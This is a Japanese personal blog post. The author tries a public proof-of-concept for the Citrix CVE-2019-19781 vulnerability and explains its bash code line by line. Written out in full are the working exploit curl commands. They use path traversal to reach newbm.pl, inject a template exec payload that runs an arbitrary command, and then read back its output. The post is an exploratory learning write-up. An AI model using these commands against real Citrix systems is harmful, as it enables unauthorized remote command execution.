min117の日記

初期desireもち。趣味Mac,メインFedora,仕事xp。

緊急対応レベルのCitrix製品の脆弱性 CVE-2019-19781 の検証コードを動かしてみる

仕事の基盤で思いっきり使っているCitrixに脆弱性があったようだ。界隈で話題になり始めている。

piyolog.hatenadiary.jp

 

脆弱性があるとこうなるっぽい。要はリモートから cat /etc/passwd されてしまうということだ。こわ。

f:id:min117:20200115233952p:plain

 

projectzeroindea なるサイトが検証スクリプト.shをアップしてる。

github.com

さっそく使ってみる。うちにも昔使ったCitrix環境があったはずだからこれで試す。

http://min117.hatenablog.com/entry/2017/05/05/161409

 

検証ファイルをダウンロードし

f:id:min117:20200115234109p:plain

解凍する。

f:id:min117:20200115234210p:plain

 

含まれるファイルは3つ。うち1つはPNG画像。

f:id:min117:20200115234447p:plain

README.mdは無視して、CVE-2019-19781.sh を覗いてみる。

 

$ cat CVE-2019-19781.sh

f:id:min117:20200115234649p:plain

なるほど。curl脆弱性のあるスクリプトnewbm.plを叩いてるだけ。

 

実行してみようと思ったが、以前に作ったXenServerは既に消えてしまっていた。やむないのでテスト用に置いてあるRaspberryPi3に対して試してみる。

 

$ bash CVE-2019-19781.sh 192.168.3.41 'cat /etc/passwd

f:id:min117:20200116000825p:plain

Connection Refusedと出た。まあ当たり前か。今回の脆弱性はCitrixサーバのものであって、piは関係ないからね。

 

しかしこの検証スクリプト、かなりbashの勉強になる。

 

冒頭、引数$1がなかったら echoでメッセージを出す。-ne してるところがニクい。

if [ -z "$1" ];

then

echo -ne 'Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE\n'

exit;

fi

 

次はランダムファイルから文字を拾ってファイル名にしてるのか。foldコマンド知らなかった。

filenameid=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1);

https://www.atmarkit.co.jp/ait/articles/1712/07/news013.html

f:id:min117:20200116001613p:plain

 

curlnewbm.plを叩いている。

curl -s -k "https://$1/vpn/../vpns/portal/scripts/newbm.pl" -d "url=http://example.com\&title=[%25+template.new({'BLOCK'%3d'exec(\'$2 | tee /netscaler/portal/templates/$filenameid.xml\')%3b'})+%25]\&desc=test\&UI_inuse=RfWeb" -H "NSC_USER: /../../../../../../../../../../netscaler/portal/templates/$filenameid" -H 'NSC_NONCE: test1337' -H 'Content-type: application/x-www-form-urlencoded' --path-as-is

echo -ne "\n" ;curl -m 3 -k "https://$1/vpn/../vpns/portal/$filenameid.xml" -s -H "NSC_NONCE: pwnpzi1337" -H "NSC_USER: pwnpzi1337" --path-as-is

echo -ne "Command Output :\n"

curl -m 3 -k "https://$1/vpn/../vpns/portal/$filenameid.xml" -H "NSC_NONCE: pwnpzi1337" -H "NSC_USER: pwnpzi1337" --path-as-is

 

--path-as-isについてはいずれ調べる。

 

template.new({'BLOCK'%3d'exec(\'$2 | tee /netscaler/portal/templates/$filenameid.xml\') が読み解けない。すぐには分からない。すごい技術。いずれゆっくり調べる。

 

やっぱ悪いことを考えるやつは(行動は最悪だけど)達成に向けた動機というかパワーが凄い。おかしな言い方だが成功に貪欲だ。良いとこだけもらうことにする。

 

Pythonの検証コードもあった。

github.com

f:id:min117:20200116005351p:plain

 

$ cat citrixmash.py

f:id:min117:20200116005917p:plain

こりゃ極悪そうだ。

 

$ python3 cve-2019-19781_scanner.py

f:id:min117:20200116005432p:plain

エラーになった。モジュール netaddr が必要らしい。

netaddr.readthedocs.io

 

$ pip install netaddr

f:id:min117:20200116005608p:plain

インストール成功。

 

再度実行。

$ python3 cve-2019-19781_scanner.py

f:id:min117:20200116005637p:plain

検証したいが、やはりサーバがない。VMware-FusionのインストールしなおしてCitrix復活させるところからやらなきゃか。また今度にしよう。

 

github.com

www.curlap.com